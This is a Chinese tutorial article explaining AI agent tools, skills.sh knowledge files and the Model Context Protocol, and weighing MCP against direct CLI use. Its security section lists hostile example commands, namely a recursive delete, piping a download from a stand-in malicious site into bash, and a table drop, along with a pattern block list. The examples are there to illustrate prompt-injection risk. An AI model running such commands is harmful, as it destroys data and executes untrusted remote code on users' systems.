乐于分享
好东西不私藏

AI Agent 工具生态全景:Skill、MCP 与 CLI 之争,一文全搞懂

AI Agent 工具生态全景:Skill、MCP 与 CLI 之争,一文全搞懂

前言

随着大语言模型(LLM)的快速普及,围绕 AI Agent 的工具生态正在迅速成形,一批新词汇也随之涌现:ToolSkillTool CallingMCPCLIskills.sh……

这些词看起来相似,实则分属不同层次,各自解决不同的问题。更容易让人困惑的是,”Skill”这个词在不同场景下含义截然不同——有时指”工具集”,有时又指”领域知识文件”。

本文将从零开始,带你建立一个完整清晰的认知框架:

  • Tool(工具):AI 可调用的最小执行单元,即单个函数
  • Skill(技能集):一组相关 Tool 的集合,代表 AI 的某项完整能力(Tool Set)
  • Tool Calling:LLM 触发工具调用的整套机制
  • 知识型 Skill(skills.sh):名字相同、但完全不同——给 Agent 注入领域知识的 Markdown 文件
  • MCP:标准化 AI 与工具连接的开放协议
  • CLI:社区热议的 MCP 轻量替代方案
  • AI Agent:将以上所有整合起来的终极形态

阅读完本文,你将能清楚地回答:这些概念各自是什么、有什么区别、在实际开发中如何选择。


一、为什么 AI 需要外部工具?

“GPT-4 / Claude 这么聪明,为什么不能直接帮我查今天的天气?”

因为 大语言模型本质上是一个文本预测机器。它的知识来自训练数据,有截止日期,没有联网能力,也无法主动操作外部系统。

要让 AI 真正”能干活”,就必须给它装上与外部世界交互的能力。业界为此发展出了三条技术路线:

路线
解决的问题
代表技术
Tool Calling(工具调用)
让 AI 动态调用外部工具/API
Function Calling、Plugin
知识型 Skill
给 AI 注入专业领域的规范知识
skills.sh
MCP / CLI
标准化 AI 调用工具的方式
Model Context Protocol、Shell

这三条路线并不互斥,而是可以叠加使用,共同构成强大的 AI Agent 能力体系。下面逐一拆解。


二、Tool、Skill 与 Tool Calling:三个容易混淆的概念

在正式介绍 MCP 之前,有三个基础概念必须先讲清楚,因为它们经常被混用。

2.1 Tool(工具):最小执行单元

Tool 是一个具体的、可被 AI 调用的单个函数,有明确的名称、输入参数和返回值。它是粒度最细的单位——就像一个普通函数,只做一件事。

// 一个 Tool 的定义示例
{
  "name": "get_current_weather",
  "description": "获取指定城市当前的天气",
  "parameters": {
    "city": { "type": "string", "description": "城市名称" }
  }
}

2.2 Skill(技能集):一组相关 Tool 的集合

Skill 不是单个工具,而是一组为了完成某项完整能力而组合在一起的 Tools,可以理解为 Tool Set(工具集)

// 一个「天气 Skill」包含多个 Tools:
Skill: weather_skill
  ├── Tool: get_current_weather   // 查当前天气
  ├── Tool: get_forecast          // 查未来预报
  └── Tool: get_air_quality       // 查空气质量

// 一个「数据库 Skill」包含多个 Tools:
Skill: database_skill
  ├── Tool: query_records         // 查询记录
  ├── Tool: insert_record         // 插入数据
  └── Tool: update_record         // 更新数据

给 AI 装上「搜索 Skill」,它获得了搜索相关的一组能力;装上「代码执行 Skill」,它能读写并运行代码。Skill 是 AI 的”技能包”,Tool 是技能包里的每一个具体动作。

类比软件工程:

概念
类比
粒度
Tool
单个函数
最小,完成一个具体操作
Skill
功能模块 / Tool Set
中等,封装一项完整能力
Agent
完整应用
最大,自主完成复杂任务

2.3 Tool Calling(工具调用):AI 触发工具的机制

Tool Calling(也叫 Function Calling)是 LLM 决定调用 Tool 的整套触发机制——从识别意图到输出结构化请求、再到应用层执行并返回结果。

技术演进:从 Plugin 到 Function Calling

OpenAI 2023年推出 Plugin 机制,允许 ChatGPT 调用第三方服务,但因管理过于复杂逐渐被淘汰。现在各大模型均支持更精确的 Function Calling / Tool Calling。完整调用流程如下:

[用户] → "帮我查北京今天的天气"
           ↓
[LLM]  → 分析意图,判断需要调用天气工具
           ↓
[LLM 输出结构化调用请求]
  {
    "tool": "get_weather",
    "params": { "city": "北京" }
  }
           ↓
[应用层] → 拦截请求,调用真实的天气 API
           ↓
[API 返回] → { "temp": "22°C", "weather": "晴" }
           ↓
[LLM]  → 接收结果,整合成自然语言
           ↓
[用户] ← "北京今天天气晴,气温 22°C"

2.4 三者关系一图看懂

Skill(技能集 / Tool Set)
  ├── Tool: get_current_weather    ← 单个工具函数
  ├── Tool: get_forecast
  └── Tool: get_air_quality

Tool Calling(触发机制)
  LLM 分析意图
    → 从 Skill 中选择合适的 Tool
    → 输出结构化调用请求
    → 应用层执行真实逻辑
    → 结果回传给 LLM → 生成回复

一句话区分:Tool 是具体函数,Skill 是一组 Tool 的集合(能力包),Tool Calling 是 AI 触发这些 Tool 的机制。


三、知识型 Skill:另一种”技能”——给 AI 注入专业知识

学习 Tool Calling 时,你可能还会搜索到 skills.sh 这个平台,并看到很多人在讨论”安装 Skill”。这里需要提前做一个重要的概念区分

skills.sh 的 Skill 和 Tool Calling 的”工具”完全不是同一回事。

3.1 skills.sh 是什么?

skills.sh 是由 Vercel Labs 主导的开源 AI Agent 技能生态平台。它的 Skill 本质上是一个结构化的 Markdown 知识文件,安装后作为 Agent 的”参考手册”读入上下文,让 Agent 在完成特定任务时遵循专业规范。

# 安装一个知识型 Skill(下载 Markdown 指令文件到项目中)
npx skills add vercel-labs/agent-skills

安装后项目中会出现类似这样的文件:

.cursor/rules/vercel-react-best-practices.md               # Cursor
.github/instructions/vercel-react-best-practices.instructions.md  # GitHub Copilot

AI Agent 读取这些文件,就”习得”了该领域的专业规范,写出的代码自然更符合最佳实践。

3.2 两种 Skill 的对比

维度
Tool Calling 工具
skills.sh 知识型 Skill
本质
让 AI 调用外部工具/API 的机制
给 Agent 注入领域知识的指令文件
形态
JSON 函数声明 + 代码实现
Markdown 文档(‎SKILL.md
作用时机
运行时动态调用
启动时作为上下文读入
由谁执行
应用层代码执行真实操作
AI Agent 自身阅读并遵循
典型例子
查天气 API、执行 SQL
React 最佳实践、Azure 架构规范

3.3 一个直觉比喻

想象你招了一个新员工(AI Agent):

  • Tool Calling 工具:给他配备了工具箱——电话、电脑、打印机(具体可执行的能力)
  • skills.sh 知识型 Skill:给他一本《公司操作手册》——告诉他遇到各种情况该怎么思考和处理(专业知识与规范)

两种”Skill”共用了同一个单词,但一个是工具,一个是知识。搞清楚这个区别,后续所有概念都会更清晰。


四、MCP:解决工具连接的标准化问题

有了 Tool Calling 机制,AI 已经能调用工具了。但新问题随之出现:每接入一个新工具都要重复造轮子,而且不同 AI 平台之间完全不兼容。

这就是 MCP 要解决的问题。

4.1 痛点:M×N 的适配地狱

假设有 M 个 AI 模型N 个工具

传统方式:每对模型 + 工具都需要单独适配

Claude  ──→ 天气 API 适配  (1套)
Claude  ──→ 数据库适配     (1套)
GPT-4   ──→ 天气 API 适配  (1套) ← 重复!
GPT-4   ──→ 数据库适配     (1套) ← 重复!
...

总计需要 M × N 套适配代码,维护成本极高

4.2 MCP 是什么?

MCP(Model Context Protocol) 是由 Anthropic 于 2024年11月 发布的一套开放标准协议,定义了 AI 模型与外部工具、数据源之间通信的统一规范。

一句话概括:

MCP 是 AI 世界的”USB 接口”——只要工具实现了 MCP 协议,任何支持 MCP 的 AI 都能即插即用。

4.3 MCP 的解法:M+N

MCP 方式:工具只需实现一次 MCP Server

天气工具  ──→ MCP Server(一次实现)
数据库    ──→ MCP Server(一次实现)
文件系统  ──→ MCP Server(一次实现)

Claude、GPT、Gemini... 均通过统一的 MCP Client 接入
→ 总计只需 M + N 套代码,大幅降低维护成本

4.4 MCP 架构图

┌──────────────────────────────────────────┐
│              MCP 完整架构                │
│                                          │
│  ┌──────────┐     ┌──────────────────┐   │
│  │   Host   │←──→ │    MCP Client    │   │
│  │ (Claude/ │     │   (协议通信层)    │   │
│  │  VSCode) │     └────────┬─────────┘   │
│  └──────────┘              │ MCP 协议    │
│                   ┌────────┴─────────┐   │
│                   │    MCP Server    │   │
│                   │   (工具提供方)    │   │
│                   └────────┬─────────┘   │
│                            │             │
│             ┌──────────────┴───────────┐ │
│             │    真实资源 / 工具        │ │
│             │  文件系统 / 数据库 / API  │ │
│             └──────────────────────────┘ │
└──────────────────────────────────────────┘

4.5 MCP 的三大核心概念

① Resources(资源) — 服务器暴露可读取的数据:

resource: {
  uri: "file:///project/README.md",
  name: "项目说明文档",
  mimeType: "text/markdown"
}

② Tools(工具) — 服务器提供的可执行操作:

tool: {
  name: "execute_sql",
  description: "执行 SQL 查询并返回结果",
  inputSchema: {
    query: "string"   // SQL 语句
  }
}

③ Prompts(提示模板) — 服务器提供预定义的提示词,帮助用户高效完成特定任务。

4.6 MCP 通信流程(伪代码)

// Step 1:MCP Client 连接 Server,发现能力列表
client.connect(server)
→ server.listTools()      // 返回所有可用工具
→ server.listResources()  // 返回所有可读资源

// Step 2:LLM 决定调用某个工具
llm.think("用户要查数据库,需要 execute_sql 工具")

// Step 3:MCP Client 向 Server 发起调用
result = client.callTool({
  name: "execute_sql",
  arguments: { query: "SELECT * FROM users LIMIT 10" }
})

// Step 4:Server 执行并返回结构化结果
→ result: [
    { id: 1, name: "Alice" },
    { id: 2, name: "Bob" }
  ]

// Step 5:LLM 使用结果生成自然语言回复
llm.respond(result)

五、MCP 实战:从配置到实现

5.1 主流 MCP Server 生态

目前官方和社区已提供大量开箱即用的 MCP Server:

官方 MCP Server 示例:
├── @modelcontextprotocol/server-filesystem   # 本地文件操作
├── @modelcontextprotocol/server-github       # GitHub 操作
├── @modelcontextprotocol/server-postgres     # PostgreSQL 数据库
├── @modelcontextprotocol/server-sqlite       # SQLite 数据库
├── @modelcontextprotocol/server-brave-search # 网络搜索
└── @modelcontextprotocol/server-puppeteer    # 浏览器自动化

5.2 在 Claude Desktop 中配置 MCP

// claude_desktop_config.json
{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": [
        "@modelcontextprotocol/server-filesystem",
        "/Users/your-name/Documents"
      ]
    },
    "github": {
      "command": "npx",
      "args": ["@modelcontextprotocol/server-github"],
      "env": {
        "GITHUB_PERSONAL_ACCESS_TOKEN": "your-token"
      }
    }
  }
}

配置完成后,Claude 就能直接读写本地文件、操作 GitHub 仓库。

5.3 实现一个极简 MCP Server(Node.js 伪代码)

import { McpServer } from "@modelcontextprotocol/sdk/server";

const server = new McpServer({
  name: "my-tools",
  version: "1.0.0"
});

// 注册工具
server.tool(
  "get_weather",           // 工具名称
  "获取城市天气",           // 工具描述
  { city: z.string() },   // 参数 Schema(使用 Zod 校验)
  async ({ city }) => {
    const weather = await fetchWeatherAPI(city);
    return {
      content: [{
        type: "text",
        text: `${city}今天 ${weather.temp}°C,${weather.condition}`
      }]
    };
  }
);

// 通过 stdio 启动,与 MCP Client 通信
server.run();

六、社区争议:CLI 是比 MCP 更好的方案吗?

MCP 发布后,社区并非一片叫好。越来越多的开发者开始发声:

“我们真的需要 MCP 吗?直接用 CLI(命令行工具)不香吗?”

这个讨论触及了工程实践的核心,值得认真对待。

6.1 CLI 方案的核心主张

CLI 派认为:Shell 命令本身就是最好的”工具协议”。

CLI 调用方式(伪代码):

agent.runCommand("git log --oneline -10")
→ 输出:
  a1b2c3d fix: 修复登录 bug
  e4f5g6h feat: 新增用户模块

agent.runCommand("curl https://api.weather.com/beijing")
→ 输出: {"temp": "22°C", "condition": "晴"}

没有 Server,没有协议握手,没有 JSON Schema,直接运行命令,结果直接返回给 LLM。

6.2 CLI vs MCP:全面对比

维度
MCP 方案
CLI 方案
上手复杂度
需实现 MCP Server
直接调用系统命令
部署成本
需运行 Server 进程
工具装好即可用
语言限制
SDK 主要为 Node.js/Python
任何有 CLI 的工具均可用
调试难度
协议层增加排查成本
直接在终端复现问题
生态复用
需专门编写 MCP Server
直接复用数十年 CLI 生态
安全边界
Server 可精细控制权限
依赖操作系统权限管理
输出格式
结构化 JSON,LLM 友好
人类可读格式,解析不稳定
跨平台
跨模型标准化
依赖 Shell 环境差异

6.3 支持 CLI 的核心论据

论据一:数十年的 CLI 生态无需改造

gitcurljqffmpegpsql……这些工具 AI 直接调用即可:

git diff HEAD~1
docker ps --format "table {{.Names}}\t{{.Status}}"
psql -c "SELECT count(*) FROM users"
jq '.items[] | .name' data.json

论据二:MCP Server 本身引入了新的复杂性

MCP 方案的隐藏成本:
  1. 编写 MCP Server 代码
  2. 部署并保持 Server 持续运行
  3. 处理 Server 崩溃与重启
  4. 跨版本兼容问题
  5. 协议层调试困难

CLI 方案:工具装好 → AI 直接运行 → 完成

论据三:LLM 天生理解命令行

LLM 训练数据中包含大量 Shell 文档与示例,理解 CLI 的能力远超理解私有 MCP Server。

6.4 MCP 的反驳:CLI 并非银弹

① CLI 存在严重安全风险

给 AI 直接运行 Shell 命令,等于把钥匙交给了一个你无法完全信任的执行者:

# AI 误操作或被 Prompt 注入攻击时可能执行:
rm -rf /important-data
curl malicious-site.com | bash
# 通过 psql 直接执行:
DROP TABLE users;

MCP Server 可以做到最小权限原则:

// MCP Server 权限控制(伪代码)
tool: execute_sql
  allowedPatterns: [/^SELECT/i]        // 只允许查询
  blockedPatterns: [/DELETE|DROP|TRUNCATE/i]  // 拦截危险操作

② CLI 输出格式对 LLM 不友好

# 给人看的格式,LLM 解析容易出错
docker ps
CONTAINER ID   IMAGE   COMMAND   CREATED        STATUS
a1b2c3d4e5f6   nginx   "nginx"   2 hours ago    Up 2 hours

MCP 工具返回结构化 JSON,模型处理更稳定、更准确。

③ 跨平台行为不一致

同一个 MCP Server 在 Windows/macOS/Linux 行为完全一致;CLI 命令语法在不同系统间存在差异(如 seddate 等)。

6.5 社区主流结论:因地制宜,而非非此即彼

场景选型建议:

优先选 CLI:
  ✓ 快速原型验证 / 个人本地工具
  ✓ 调用现有成熟 CLI 工具
  ✓ 团队 Shell 经验丰富

优先选 MCP:
  ✓ 生产环境 / 企业级部署
  ✓ 需要精细权限控制与安全合规
  ✓ 工具需跨多个 AI 平台复用
  ✓ 需要稳定的结构化返回值

“MCP 本质上是对工具调用的一层标准化封装。先用 CLI 跑通逻辑,再按需封装成 MCP Server,这才是合理的演进路径。”

6.6 实践中的混合架构

很多项目已在这样使用:MCP 负责权限与标准化,CLI 负责实际执行。

// MCP Server 内部调用 CLI 工具(伪代码)
tool: run_git_command
  handler: async ({ command }) => {
    // 白名单校验,只允许只读操作
    if (!ALLOWED_GIT_CMDS.includes(command)) {
      throw new Error("不允许的命令");
    }
    // 内部通过 CLI 执行
    const result = await exec(`git ${command}`);
    return { output: result.stdout };
  }

七、AI Agent:所有概念的综合体

理解了上述所有概念,再来看 AI Agent(智能体) 就水到渠成了。

7.1 Agent 工作循环

┌──────────────────────────────────────────┐
│              Agent 工作循环              │
│                                          │
│  用户输入任务                            │
│     ↓                                    │
│  LLM 思考(ReAct 模式:推理 + 行动)     │
│     ↓                                    │
│  ┌─ 需要工具? ──是──→ 选择合适工具      │
│  │                         ↓             │
│  │              通过 MCP 或 CLI 调用      │
│  │                         ↓             │
│  │              获得工具返回结果          │
│  │                         ↓             │
│  └──────────── 继续推理 ←──┘             │
│     ↓(任务完成)                        │
│  输出最终结果给用户                       │
└──────────────────────────────────────────┘

7.2 四个维度的完整全景

┌────────────────────────────────────────────────────┐
│                  AI Agent 能力全景                  │
│                                                    │
│  ┌──────────────────────────────────────────────┐  │
│  │  知识层:skills.sh 知识型 Skill               │  │
│  │  Markdown 指令文件 → 注入专业领域知识           │  │
│  │  "知道怎么做得更好"                            │  │
│  └──────────────────────────────────────────────┘  │
│                        ↓                           │
│  ┌──────────────────────────────────────────────┐  │
│  │  能力层:Tool Calling / Function Calling      │  │
│  │  工具声明 + 应用层实现 → 调用外部工具           │  │
│  │  "有能力去做"                                 │  │
│  └──────────────────────────────────────────────┘  │
│                        ↓                           │
│  ┌──────────────────────────────────────────────┐  │
│  │  协议层:MCP 或 CLI                           │  │
│  │  MCP → 标准化、跨平台、生产级                  │  │
│  │  CLI → 轻量、快速、直接复用现有工具             │  │
│  │  "用什么方式去做"                             │  │
│  └──────────────────────────────────────────────┘  │
│                        ↓                           │
│  ┌──────────────────────────────────────────────┐  │
│  │  决策层:LLM                                  │  │
│  │  理解意图、推理规划、决定何时调用哪个工具        │  │
│  │  "想做什么 / 何时做"                          │  │
│  └──────────────────────────────────────────────┘  │
└────────────────────────────────────────────────────┘
  • LLM 是大脑:负责理解、推理、决策
  • 知识型 Skill 是经验:让 AI 做得更专业
  • Tool Calling 是手脚:定义具体行动能力
  • MCP / CLI 是神经通路:负责标准化传递与执行

八、总结

概念
本质
解决的问题
类比
Tool Calling
工具调用机制
让 AI 能操作外部世界
工具箱里的工具
知识型 Skill
Markdown 知识文件
让 AI 具备领域专业知识
岗位培训手册
MCP
标准通信协议
统一工具接入方式,消除重复适配
USB 接口规范
CLI
Shell 命令调用
轻量、直接地复用现有工具生态
直接上手操作
AI Agent
综合体
自主完成多步复杂任务
会用工具的专业员工

五句话记住核心:

  1. Tool Calling 让 AI 从”只会说话”变成”能干活”
  2. 知识型 Skill 让 AI 从”能干活”变成”干得专业”
  3. MCP 让工具接入从”重复造轮子”变成”即插即用”
  4. CLI 是 MCP 的轻量替代,适合快速验证和本地场景
  5. 四者组合,才能构建真正强大的 AI Agent

写在最后

从 Tool Calling 到 MCP,从 CLI 争论到 skills.sh 生态,AI Agent 工具链正在快速演进,各个层次的标准都还在形成中。

没有”唯一正确答案”——理解每种方案背后的设计哲学和适用边界,才能在实际项目中做出最合适的选择。

技术在变,但理解底层原理的能力,才是开发者最核心的竞争力。